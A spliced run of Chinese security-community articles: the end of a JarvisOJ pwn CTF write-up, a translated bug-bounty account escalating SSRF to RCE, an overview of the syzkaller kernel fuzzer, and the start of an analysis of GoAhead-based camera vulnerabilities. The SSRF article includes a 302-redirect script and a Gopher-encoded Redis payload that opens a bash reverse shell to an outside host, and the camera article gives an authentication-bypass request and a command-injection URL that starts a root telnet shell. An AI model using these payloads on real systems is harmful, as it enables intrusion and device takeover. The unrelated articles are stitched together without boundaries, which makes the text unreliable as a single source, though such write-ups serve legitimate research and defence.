07:0038│ 0x7ffeb2d93440 —▸ 0x5641ea376b60 ◂— push r15
08:0040│ 0x7ffeb2d93448 —▸ 0x7fcc312aaa87 (__libc_start_main+231) ◂— mov edi, eax
09:0048│ 0x7ffeb2d93450 ◂— 0x0
通过 0x40 次循环可以把这个地址保存在 r14 上
>>> len(asm('mov r14, rsp;ret'))
4
>>> len(asm('inc r14'))
3
>>> len(asm('mov r14, [r14]; ret'))
4
然后再根据 libc 中的偏移是固定的，更改 r14 为 one_gadget 地址
execsc(asm("add r14, {}".format(offset / 0x1000)))
loop = offset - offset / 0x1000 * 0x1000
print "loop for {:#x} times...".format(loop)
pause()
for i in xrange(loop):
execsc(add_r14)
最后修改 rsp 即可
>>> len(asm('mov [rsp], r14'))
4
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_inst/exp.py)
## [61dctf]xworks (500)
静态编译的程序，并且是 strip 后的，先用 rizzo 和 sig 恢复一下符号。
程序的逻辑很简单，漏洞也很明显，在 delete， show 和 edit 功能中均存在 uaf
void show_order()
{
signed int idx; // [rsp+Ch] [rbp-4h]
_libc_write(1LL, "Input the order index:", 22LL);
idx = get_int();
if ( idx >= 0 && idx <= 10 )
_libc_write(1LL, chunk_list[idx], 31LL); // uaf
else
_libc_write(1LL, "Error\n", 6LL);
}
void edit_order()
{
signed int idx; // [rsp+Ch] [rbp-4h]
_libc_write(1LL, "Input the order index:", 22LL);
idx = get_int();
if ( idx >= 0 && idx <= 10 )
read(0LL, chunk_list[idx], 31LL); // uaf
else
_libc_write(1LL, "Error\n", 6LL);
}
void delete_order()
{
signed int idx; // [rsp+Ch] [rbp-4h]
_libc_write(1LL, "Input the order index:", 22LL);
idx = get_int();
if ( idx >= 0 && idx <= 10 )
j_free(chunk_list[idx]); // uaf
else
_libc_write(1LL, "Error\n", 6LL);
}
题目没有溢出的漏洞，难点在于如何利用这个 uaf。通过 free 两个fastbin 可以 leak 出堆的地址，然后在堆上伪造 chunk 的 meta
data 可以造成 unlink，用 unlink 造成任意地址读写后，方法就比较多了。
我的方法是通过多次任意地址写在一个固定地址（如 elf.bss() + 0x500) 上写 rop chain，然后再次通过任意地址写改写 rbp 和
ret addr，通过 stack-pivot 来跳转到 rop chain。
[_exploit
here_](https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_xwork/exp.py)
## 广告时间
### 广告一
目前和几位朋友（来自各大战队）一起做的 [_ctf-wiki_](https://ctf-wiki.github.io/ctf-wiki/)
包括 CTF 中各个分类的基础知识及相关例题，也处于持续更新的过程中。
欢迎各位大佬加入（尤其是 web 前端大佬）
### 广告二
[_My Blog_](http://m4x.fun)
[_My Github_](https://github.com/bash-c)
欢迎师傅们一起交流 🙂
## Reference and Thanks to
<https://www.jarviswang.me>
Linux Manual Page
<http://docs.pwntools.com/en/stable/index.html>
<https://github.com/Naetw/CTF-pwn-tips>
<https://veritas501.space/2017/03/10/JarvisOJ_WP/>
<http://blog.csdn.net/charlie_heng>
<https://www.jianshu.com/p/40f846d14450>
<https://www.jianshu.com/p/3d3a37c3e1c7>
<http://muhe.live/2016/12/24/what-DynELF-does-basically/>
<https://pastebin.com/eqzdtwmw>
<https://gloxec.github.io/2017/05/16/Reverse%20Engineer%20a%20stripped%20binary/>
<http://www.freebuf.com/articles/terminal/134980.html> | 社区文章 |
# 从SSRF到RCE——一个15k美金的故事
|
##### 译文声明
本文是翻译文章，文章原作者 sirleeroyjenkins，文章来源：sirleeroyjenkins.medium.com
原文地址：<https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530>
译文仅供参考，具体内容表达以及含义原文为准。
## 引语
本人在HackerOne的赏金猎人计划中发现某个世界级大型公司的SSRF漏洞，并经过深入研究扩大危害至远程代码执行。
## 阶段1：侦查
对于一项大范围的漏洞挖掘项目，往往会以子域名扫描作为开端。但在这里，我的目标是单个web网站，因此仅仅采用GAU工具获取一系列URL等信息，并分析javascript脚本内容，采用Ffuf获取网站目录信息。至此没有大的收获。
随后，我采用burpsuite作为代理捕获测试所有的网站请求链接，发现一个敏感链接，如下。
GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com
…
响应信息如下：
{“responseTime”:”99999ms”,”grabbedUrl”:”http://example.com","urlInfo":{"pageTitle":"Example Title”,”pageLogo”:”pagelogourl”}}
在此情形下，网站可能存在SSRF漏洞。
## 阶段2：核实SSRF漏洞
无法获得网站的内部ip，而获得了一些子域名。
经测试，发现该敏感链接会返回非公开子域名的信息。例如，一个子域名是somecorpsite.example.com，我访问http://somecorpsite.example.com
是没有响应信息的，但将其放置敏感链接，如下：
GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com
…
获得如下响应：
{“responseTime”:”9ms”,”grabbedUrl”:”http://somecorpsite.example.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE”,”pageLogo”:”http://somecorpsite.example.com/logos/logo.png"}}
这是属于低危的SSRF漏洞，我写并提交了报告，并进一步开展深入研究。
## 阶段3：提升危害性至RCE
SSRF的一种增强型方法是Gopher协议，因此我构造发送如下链接：
GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
…
不幸的是服务器直接返回错误，貌似web网站不支持Gopher协议吧。
另一种增强型方法是重定向。我构造了重定向脚本，如下：
!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print(“””
Usage: {} <port_number> <url>
“””.format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header(‘Location’, sys.argv[2])
self.end_headers()
def send_error(self, code, message=None):
self.send_response(302)
self.send_header(‘Location’, sys.argv[2])
self.end_headers()
HTTPServer((“”, int(sys.argv[1])), Redirect).serve_forever()
我设定重定向的目标网址是Burp collaborator模块的URL，命令如下：
python3 302redirect.py port “http://mycollaboratorurl/”
随后构造敏感链接指向我的重定向服务器，如下：
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
…
成功返回响应信息，说明重定向增强方法是有效的。
再综合起来，采用叠加增强型方法重定向+Gopher协议。指定重定向的目标网址是采用gopher协议的Burp
collaborator模块URL，此时重定向脚本的执行命令是：
python3 302redirect.py port “gopher://mycollaboratorurl/”
敏感链接的构造结果如下：
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
…
成功返回响应信息，说明该叠加增强型方法有效。
并且意外的发现，采用该方法可以访问web网站的内部ip 127.0.0.1。
## 阶段4：后渗透
现在可以访问内部主机，则开始探测它的开放端口，脚本的执行命令是：
python3 302redirect.py port “gopher://127.0.0.1:port”
同样发送请求，最终发现6379（Redis）端口开放，如下：
302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…
可以采用Gopherus来生成Redis反向shell了，如下：
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
此时完整的命令是：
python3 302redirect.py port “gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A”
当我提交请求时，如下：
GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
…
过了5分钟，才接收到shell，我输入whoami命令，发现是root用户，于是赶紧断开连接，写报告提交漏洞啦。
这个漏洞是2020年5月发现并提交的，现在已经被解决了。我获得了15000美元和公司的大力赞赏，好好干。 | 社区文章 |
这是内核漏洞挖掘技术系列的第五篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
## 前言
syzkaller(<https://github.com/google/syzkaller>)是google的安全研究人员开发并维护的内核fuzz工具。它主要是用go写的，也有少部分C代码，支持akaros/fuchsia/linux/android/freebsd/netbsd/openbsd/windows等系统，发现的漏洞多达上千。不过它支持最全面的还是linux系统，对其它系统的支持都不同程度差一点，也不支持Darwin/XNU。有研究人员做过移植syzkaller
fuzz windows
WSL[2]和Darwin/XNU[1][5]的尝试，也都取得了较好的成果。可以说，syzkaller是当今宇宙最强大的内核fuzz工具了。我们将从整体架构开始，介绍syzkaller一些实现的细节。目前在github上syzkaller除了master分支之外还有一个long-line分支和usb-fuzzer分支，usb-fuzzer分支是xairy用来挖掘USB驱动漏洞的一个分支，在OffensiveCon2019上讲过[7]。
本文分析的syzkaller版本是开始计划写作这个系列文章时从github下载的当时最新的版本，当读者读到这篇文章时代码肯定已经有了变化，所以文章仅供参考，若有变动之处还需自行分析。
## 整体架构
下面是官方原理介绍中给的一张图。
syz-manager通过ssh调用syz-fuzzer，syz-fuzzer和syz-manager之间通过RPC进行通信。syz-fuzzer将输入传给syz-executor，从kernel中读取代码覆盖率信息。syz-executor执行syscall系统调用。我们再看一下代码的整体目录。
* Godeps目录：go的依赖包管理。
* dashboard目录：主要与syzbot有关，syzbot会自动fuzz linux内核主线分支并向内核邮件列表报告发现的错误。我们可以在<https://syzkaller.appspot.com>上看到相关的情况。
* docs目录：相关文档。
* executor目录：文章最开始已介绍syz-executor。
* pkg目录：配置文件。该目录下的结构如下图。
* ast目录：解析并格式化sys文件。
* bisect目录：通过二分查找，编译代码测试确定引入含有漏洞代码的commit和引入修复的commit。
* build目录：包含用于构建内核的辅助函数。
* compiler目录：从文本描述生成系统调用，类型和资源的sys描述。
* config目录：加载配置文件。
* cover目录：提供处理代码覆盖信息的类型。
* csource目录：根据syzkaller程序生成等价的c程序。
* db目录：存储syz-manager和syz-hub中的语料库。
* email目录：解析处理邮件相关功能。
* gce目录：对Google Compute Engine(GCE) API的包装。
* gcs目录：对Google Compute Storage(GCS) API的包装。
* hash目录：提供一些hash函数。
* host目录：检测host是否支持一些特性和特定的系统调用。
* html目录：提供一些web端显示fuzz结果的html页面用的辅助函数。
* ifuzz目录：生成和变异x86机器码。
* instance目录：提供用于测试补丁，镜像和二分查找的临时实例的辅助函数。
* ipc目录：进程间通信。
* kd目录：windows KD调试相关。
* log目录：日志功能。
* mgrconfig目录：管理解析配置文件。
* osutil目录：os和文件操作工具。
* report目录：处理内核输出和检测/提取crash信息并符号化等。
* repro目录：对crash进行复现并进行相关的处理。
* rpctype目录：包含通过系统各部分之间的net/rpc连接传递的消息类型。
* runtest目录：syzkaller程序端到端测试的驱动程序。
* serializer目录：序列化处理。
* signal目录：提供用于处理反馈信号的类型。
* symbolizer目录：处理符号相关信息。
* vcs目录：处理各种库的辅助函数。
* prog目录：目标系统相关信息以及需要执行的系统调用。
* sys目录：系统调用描述。该目录下的结构如下图。
syzkaller使用它自己的声明式语言来描述系统调用模板，docs目录下的syscall_descriptions.md中可以找到相关的说明。这些系统调用模板被翻译成syzkaller使用的代码需要经过两个步骤。第一步是使用syz-extract从linux源代码中提取符号常量的值，结果被存储在.const文件中，例如/sys/linux/tty.txt被转换为sys/linux/tty_amd64.const。第二步是根据系统调用模板和第一步中生成的const文件使用syz-sysgen生成syzkaller用的go代码。可以在/sys/linux/gen/amd64.go和/executor/syscalls.h中看到结果。如果需要对新的系统调用进行测试，需要将新的系统调用的描述添加到适当的文件中：各种sys/linux/.txt文件保存特定内核子系统的系统调用，例如bpf或socket。/sys/linux/sys.txt包含更多常规系统调用的描述。也可以为一个全新的子系统添加sys/linux/.txt文件。docs目录下的syscall_descriptions_syntax.md中可以找到语法描述，Project
Zero也有相关博客[8]。回想一下我们第一篇文章介绍的trinity，也是需要自己编写系统调用模板。但是syzkaller的模板比trinity强大多了，系统调用和参数都可以自己定义。在sys/*.txt文件中描述了上千个系统调用，但是linux内核一直在持续的更新，每个新版本的发布系统调用和数据结构都在发生变化，需要人工更新系统调用模板，这个过程目前还没有实现自动化[9]。下面给大家简单介绍一下人工更新系统调用模板的步骤。
当我们下载linux内核源码之后，比较一下最新的版本和上一个版本uapi/*.h文件发生了哪些变化。
git diff -U0 v4.20 v4.19 include/uapi/*.h | grep "+++"
Linus在linux 3.7版本中接受了David
Howell的用来解决递归引用的补丁。递归引用这个问题通常发生在inline函数中：比如头文件A中的inline函数需要头文件中B的struct，但是同时B中也有一个inline函数需要A中的一个struct。所以David
Howell把include和arch/xxxxxx/include目录中的内核头文件中有关用户空间API的内容分割出来，放到新的uapi/子目录中相应的地方。除了解决递归引用的问题之外，这样做简化了仅供内核使用的头文件的大小，并且使得跟踪内核向用户空间呈现的API的更改变得更容易。对C库维护者、测试项目(如LTP)、文档项目(如man-pages)还有我们利用syzkaller做内核fuzz的人来说有很大的帮助。
在我们正式开始尝试之前，大家还可以看看[3]上的一个例子，找找感觉。这篇文章中编写了一个含有漏洞的内核模块加载到内核中，然后在cfg文件的enable_syscalls中指定了相应的系统调用，运行syzkaller之后能够看到相关的crash信息。下面假设我们想对bpf模块做fuzz。根据linux\include\uapi\linux\bpf.h中的改动修改bpf.txt。由于syzkaller默认make时没有编译syz-extract和syz-sysgen，首先编译出这两个文件。
用syz-extract生成.const文件。
因为这里我编译的linux内核是amd64的，所以只生成了bpf_amd64.const。对于其它的架构只需要修改__NR_bpf的系统调用号即可。然后运行syz-sysgen。
自己编译内核分析过CVE-2017-16995的同学应该还记得编译内核时需要开启CONFIG_BPF_SYSCALL相关选项。在cfg文件中指定enable_syscalls为bpf之后我们就可以运行syz-manager做fuzz了。
* sys-ci目录：持续运行syzkaller的系统。
* sys-fuzzer目录：文章最开始已介绍syz-fuzzer。
* sys-hub目录：将多个syz-manager连接在一起并允许它们交换程序。
* sys-manager目录：文章最开始已介绍syz-manager。
* tools目录：一些工具。该目录下的结构如下图。
这些工具大都是对pkg目录下代码的一些封装，check_links.py用来检查文档中的链接是否正确。还有几个create*.sh是用来生成镜像的，demo_setup.sh包含设置syzkaller+qemu环境所有的操作。对于我们来说最重要的几个工具是syz-execprog、syz-repro和syz-prog2c。为syzkaller发现的bug生成能够复现的程序的过程是自动化的，但是如果不能自动化生成这个程序则需要一些工具手动复现。workdir/crashes目录下包含crash之前执行的程序。如果在config文件中设置的procs大于1那么是并行执行的，在这种情况下引发crash的程序可能在更前面的地方。syz-execprog和syz-prog2c可以帮助我们找到引发crash的程序。syz-execprog以各种模式执行单个或一组程序，首先在循环中运行log中所有的程序来确认确实它们之一引发了crash。
./syz-execprog -executor=./syz-executor -repeat=0 -procs=16 -cover=0 crash-log
然后尝试识别是哪个程序导致的crash。
./syz-execprog -executor=./syz-executor -repeat=0 -procs=16 -cover=0 single-program
syz-execprog在本地执行程序，所以需要将syz-execprog和syz-executor复制到带有测试内核的VM中并在那里运行它。一旦确认了引发崩溃的单个程序，尝试通过注释掉单个系统调用并删除无关的数据来缩小范围。还可以尝试将所有mmap调用合并为一个。给syz-execprog加上-threaded=0 -collide=0标志确认这个程序仍然能够导致crash。
如果不能复现的话，尝试把每个系统调用移到单独的线程中[4]。然后通过syz-prog2c得到C程序，C程序应该也可以导致crash。这个过程在某种程度上也可以通过syz-repro自动化，需要提供config文件和crash报告。
./syz-repro -config my.cfg crash-qemu-1-1455745459265726910
* vendor目录：依赖包。
* vm目录：提供VM接口。该目录下的结构如下图。
我们可以看到该目录下提供了qemu/kvm/vmm等多种虚拟化方案，还包括google自家的轻量沙箱gvisor和云服务，甚至可以使用Odroid
C2和远程的物理机做fuzz。vm.go把它们封装成统一的接口方便调用。这里再提一个在编译比较老的内核时启用KASAN之后经常会遇到的一个错误，可以参考[6]patch一下代码。
## 总结
这篇文章我们简单聊了聊syzkaller的整体架构和如何人工更新系统调用模板，在接下来的文章中会逐步介绍syzkaller一些实现的细节。
## 参考资料
1.[PanicXNU
3.0](https://conference.hitb.org/hitbsecconf2019ams/materials/D2T2%20-%20PanicXNU%203.0%20-%20Juwei%20Lin%20&%20Junzhi%20Lu.pdf
"PanicXNU 3.0")
2.[WSL Reloaded](https://www.slideshare.net/AnthonyLAOUHINETSUEI/wsl-reloaded
"WSL Reloaded")
3.[Syzkaller crash DEMO](https://github.com/hardenedlinux/Debian-GNU-Linux-Profiles/blob/master/docs/harbian_qa/fuzz_testing/syzkaller_crash_demo.md
"hardenedlinux")
4.[use-after-free in
ip6_setup_cork](https://groups.google.com/forum/#!msg/syzkaller/fHZ42YrQM-Y/Z4Xf-BbUDgAJ "use-after-free in ip6_setup_cork")
5.[Drill the Apple Core：Up & Down](https://i.blackhat.com/eu-18/Wed-Dec-5/eu-18-Juwei_Lin-Drill-The-Apple-Core.pdf "Drill the Apple Core：Up &
DownFuzz apple core component in kernel and user mode for fun and profit")
6.[Kernel panic when kasan is
applied](https://groups.google.com/forum/#!topic/syzkaller/eVGOt3DdNd8 "Kernel
panic when kasan is applied")
7.[Coverage-Guided USB Fuzzing with
Syzkaller](https://github.com/riusksk/SecConArchive/blob/master/OffensiveCon2019/2019%2C%20OffensiveCon_%20Coverage-Guided%20USB%20Fuzzing%20with%20Syzkaller.pdf "Coverage-Guided USB Fuzzing
with Syzkaller")
8.[Exploiting the Linux kernel via packet
sockets](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html "Exploiting the Linux kernel via packet sockets")
9.[sys/linux: automatic syscall interface
extraction](https://github.com/google/syzkaller/issues/590 "sys/linux:
automatic syscall interface extraction") | 社区文章 |
PDF 版本下载：[抓住“新代码”的影子 ——
基于GoAhead系列网络摄像头多个漏洞分析](http://paper.seebug.org/papers/Archive/%E6%8A%93%E4%BD%8F%E2%80%9D%E6%96%B0%E4%BB%A3%E7%A0%81%E2%80%9D%E7%9A%84%E5%BD%B1%E5%AD%90%E2%80%94%E2%80%94%E5%9F%BA%E4%BA%8EGoAhead%E7%B3%BB%E5%88%97%E7%BD%91%E7%BB%9C%E6%91%84%E5%83%8F%E5%A4%B4%E5%A4%9A%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.pdf)
Author： **知道创宇404实验室** Date：2017/03/19
## 一.漏洞背景
[GoAhead](https://embedthis.com/goahead/)作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中，是各种嵌入式设备与应用的理想选择。当然，各厂商也会根据不同产品需求对其进行一定程度的二次开发。
2017年3月7日，Seebug漏洞平台收录了一篇[基于GoAhead系列摄像头的多个漏洞](https://www.seebug.org/vuldb/ssvid-92748)。该漏洞为Pierre
Kim在博客上发表的一篇[文章](https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html)，披露了存在于1250多个摄像头型号的多个通用型漏洞。其在文章中将其中一个验证绕过漏洞归类为GoAhead服务器的漏洞，但事后证明，该漏洞却是由厂商二次开发GoAhead服务器产生的。于此同时，Pierre
Kim将其中两个漏洞组合使用，成功获取了摄像头的最高权限。
## 二.漏洞分析
>
> 当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞，解开的更新固件无法找到对应程序，一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas，我们在github上找到一个上个月还在修改的[门铃项目](https://github.com/kuangxingyiqing/bell-> jpg)。抓着这个“新代码”的影子，我们不仅分析出了漏洞原理，还通过分析结果找到了漏洞新的利用方式。
>
> 由于该项目依赖的一些外部环境导致无法正常编译，我们仅仅通过静态代码分析得出结论，因此难免有所疏漏。如有错误，欢迎指正。:)
### 1.验证绕过导致的信息（登录凭据）泄漏漏洞
作者给出POC: curl http://ip:port/system.ini?loginuse&loginpas
根据作者给出的POC，我们进行了如下测试:
可以看出，只要`url`中含有`loginuse`和`loginpas`这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的`zzzzzzzzzzzzzz`时均可通过验证。
看到这里，我们大致可以判断出验证`loginuse`和`loginpas`的逻辑问题导致该漏洞的出现。于是，在此门铃项目中直接搜索`loginuse`定位到关键函数。
`/func/ieparam.c`第`6407-6485`行`AdjustUserPri`函数如下：
unsigned char AdjustUserPri( char* url )
{
int iRet;
int iRet1;
unsigned char byPri = 0;
char loginuse[32];
char loginpas[32];
char decoderbuf[128];
char temp2[128];
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "loginuse", temp2, 31 );
//判断是否存在loginuse值，并将获取到的值赋给temp2
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
}
//如果存在，则将temp2复制到loginuse数组中
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );
//判断是否存在loginpas值，并将获取到的值赋给temp2
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
}
//如果存在，则将temp2复制到loginpas数组中
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
//如果两次都获取到了对应的值，则通过GetUserPri进行验证。
return byPri;
}
}
memset( loginuse, 0x00, 32 );
memset( loginpas, 0x00, 32 );
memset( temp2, 0x00, 128 );
iRet = GetStrParamValue( url, "user", temp2, 31 );
if ( iRet == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginuse, 0x00, 31 );
strcpy( loginuse, decoderbuf );
}
memset( temp2, 0x00, 128 );
iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );
if ( iRet1 == 0x00 )
{
memset( decoderbuf, 0x00, 128 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
memset( loginpas, 0x00, 31 );
strcpy( loginpas, decoderbuf );
}
if ( iRet == 0 )
{
if ( iRet1 == 0x00 )
{
//printf("user %s pwd:%s\n",loginuse,loginpas);
byPri = GetUserPri( loginuse, loginpas );
return byPri;
}
}
//获取user和pwd参数，逻辑结构与上方的loginuse和loginpas相同。
return byPri;
}
我们对其中步骤做了注释，根据这段逻辑，我们先通过`GetStrParamValue()`获取`loginuse`和`loginpas`对应值，然后将获取值通过`GetUserPri()`函数进行验证。跟进`GetStrParamValue()`这个函数，我们发现了更奇怪的事情。
`command/cmd_thread.c`中第`13-51`行`GetStrParamValue()`函数如下：
//结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码
int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
{
const char* pos1, *pos = pszSrc;
unsigned char len = 0;
if ( !pszSrc || !pszParamName )
{
return -1;
}
//判断url和需要查找的变量loginuse是否存在
pos1 = strstr( pos, pszParamName );
if ( !pos1 )
{
return -1;
}
//由于url中含有loginuse，所以这里pos1可以取到对应的值，故不进入if(!pos1)
pos = pos1 + strlen( pszParamName ) + 1;
pos1 = strstr( pos, "&" );
if ( pos1 )
{
memcpy( pszParamValue, pos, pos1 - pos );
//根据正常情况loginuse=admin&loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&号作为loginuse对应的值。
//根据作者的POC:loginuse&loginpas，最终这里pos应该位于pos1后一位，所以pos1-pos = -1
//memcpy( pszParamValue, pos, -1 );无法运行成功。
len = pos1 - pos;
}
else
{
pos1 = strstr( pos, " " );
if ( pos1 != NULL )
{
memcpy( pszParamValue, pos, pos1 - pos );
len = pos1 - pos;
}
}
return 0;
//不论上述到底如何取值，最终都可以返回0
}
根据作者给出的`POC`，在`memcpy()`函数处会导致崩溃，但事实上，我们的`web`服务器正常运行并返回`system.ini`具体内容。这一点令我们百思不得其解。当我们对`AdjustUserPri()`函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里，所以也不会导致崩溃。
`func/ieparam.c`文件第`7514-7543`行调用了`AdjustUserPri()`函数:
if ( auth == 0x00 )
{
char temp[512];
int wlen = 0;
if ( len )
{
return 0;
}
#if 0
byPri = AdjustUserPri( url );
printf("url:%s byPri %d\n",url,byPri);
if ( byPri == 0x00 )
{
memset( temp, 0x00, 512 );
wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" );
memcpy( pbuf, temp, wlen );
return wlen;
}
#else
byPri = 255;
#endif
}
else
{
byPri = pri;
}
在之前跟`GetUserPri()`函数时有一行注释：`//result:0->error user or passwd error 1->vistor
2->opration
255->admin`。当我们回头再看这段函数时，可以发现开发者直接将验证部分注释掉，`byPri`被直接赋值为`255`，这就意味着只要进入这段逻辑，用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试了，也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。
很遗憾，我们没有继续向上溯源找到这里的`auth`这个值到底是如何而来。不过根据这里的代码逻辑，我们可以猜测，当`auth`为`0`时，通过`GET请求中的参数`验证用户名密码。当`auth`不为`0`时，通过`HTTP摘要验证方式`来验证用户名密码。
再看一遍上方代码，`GET`请求中含有参数`loginuse`和`loginpas`就直接可以通过验证。那么`AdjustUserPri()`函数中另外两个具有相同逻辑的参数`user`和`pwd`呢?
**成功抓住"新代码"的影子**
### 2.远程命令执行漏洞一（需登录）
作者给出的exp如下:
user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
可以看到，该`exp`分为两步，第一步先设置`ftp`各种参数，第二步按照第一步设置的各参数测试`ftp`链接，同时导致我们在第一步设置的命令被执行。
我们在`func/ieparam.c`文件中找到了`set_ftp.cgi`和`ftptest.cgi`的调用过程
383: pdst = strstr( pcmd, "ftptest.cgi" );
384:
385: if ( pdst != NULL )
386: {
387: return CGI_IESET_FTPTEST;
388: }
455: pdst = strstr( pcmd, "set_ftp.cgi" );
456:
457: if ( pdst != NULL )
458: {
459: return CGI_IESET_FTP;
460: }
7658: case CGI_IESET_FTPTEST:
7659: if ( len == 0x00 )
7660: {
7661: iRet = cgisetftptest( pbuf, pparam, byPri );
7662: }
7756: case CGI_IESET_FTP:
7757: if ( len == 0x00 )
7758: {
7759: iRet = cgisetftp( pbuf, pparam, byPri );
7760: NoteSaveSem();
7761: }
首先跟踪`cgisetftp( pbuf, pparam, byPri
);`这个函数，我们发现，该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:
//这部分代码可以不做细看，下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。
iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );
GetIntParamValue( pparam, "port", &iValue );
bparam.stFtpParam.nFtpPort = iValue;
iRet = GetStrParamValue( pparam, "user", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );
memset( temp2, 0x00, 64 );
iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );
//我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwd
iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
if(decoderbuf[0] == 0)
{
strcpy(bparam.stFtpParam.szFtpDir, "/" );
}
GetIntParamValue( pparam, "mode", &iValue );
bparam.stFtpParam.byMode = iValue;
GetIntParamValue( pparam, "upload_interval", &iValue );
bparam.stFtpParam.nInterTime = iValue;
